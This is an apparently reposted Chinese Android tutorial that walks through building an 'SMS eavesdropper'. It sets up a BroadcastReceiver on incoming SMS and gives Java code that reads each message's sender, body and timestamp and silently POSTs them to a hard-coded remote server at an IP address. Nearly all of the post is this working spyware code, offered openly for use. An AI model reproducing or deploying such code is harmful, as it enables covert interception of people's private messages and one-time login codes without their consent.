android 使用BroadcastReceiver编写短信窃听器

来源:互联网 发布:java软件创意 编辑:程序博客网 时间:2024/04/29 04:32

BroadcastReceiver编写短信窃听器步骤:

第一步:在AndroidManifest.xml中配置接收短信的权限,以及仿问Intenet的权限<uses-permission android:name="android.permission.RECEIVE_SMS"/><uses-permission android:name="android.permission.INTERNET"/>第二步:订阅android系统短信广播,这一步的目的是只有通过订阅广播后,手机收到短信,才知道要执行哪个广播组件。<!--系统收到短信时,会发出一个action名称为android.provider.Telephony.SMS_RECEIVED的广播意图当发出这个action后,如果与android:name="android.provider.Telephony.SMS_RECEIVED“这个名字相匹配,则会执行MyBroadcast广播组件,MyBroadcast 这个类是继承BroadcastReceiver自己编写的类。-><receiver android:name=".MyBroadcast">    <intent-filter>         <action android:name="android.provider.Telephony.SMS_RECEIVED"/>    </intent-filter></receiver>第三步:继承BroadcastReceiver编写MyBroadcast类,并重写onReceive()方法。通过名称为pdus,就可以从上面的广播意图中获取短信的内容public class MyBroadcast extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) { //得到的是Object 数组 每条短信是以字节数据的形式存放Object[] pduss = (Object[])intent.getExtras().get("pdus");for(Object pdus : pduss){byte[] pdumessage  = (byte[])pdus;SmsMessage sms = SmsMessage.createFromPdu(pdumessage);String phone = sms.getOriginatingAddress();String content = sms.getMessageBody();Date  date  =  new Date(sms.getTimestampMillis());SimpleDateFormat sDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");String sendtime = sDateFormat.format(date);//将短信放在map容器中Map<String, String> map = new HashMap<String, String>();        map.put("phone",phone);        map.put("content",content);        map.put("sendtime", sendtime);        String path="http://218.67.59.20:8080/test/index.jsp";        try {//将短信发送到path路径的服务端,在服务端就可以通过参数获取短信内容SmsToWeb.post(path, map, "UTF-8");} catch (Exception e) {// TODO Auto-generated catch blocke.printStackTrace();}}}}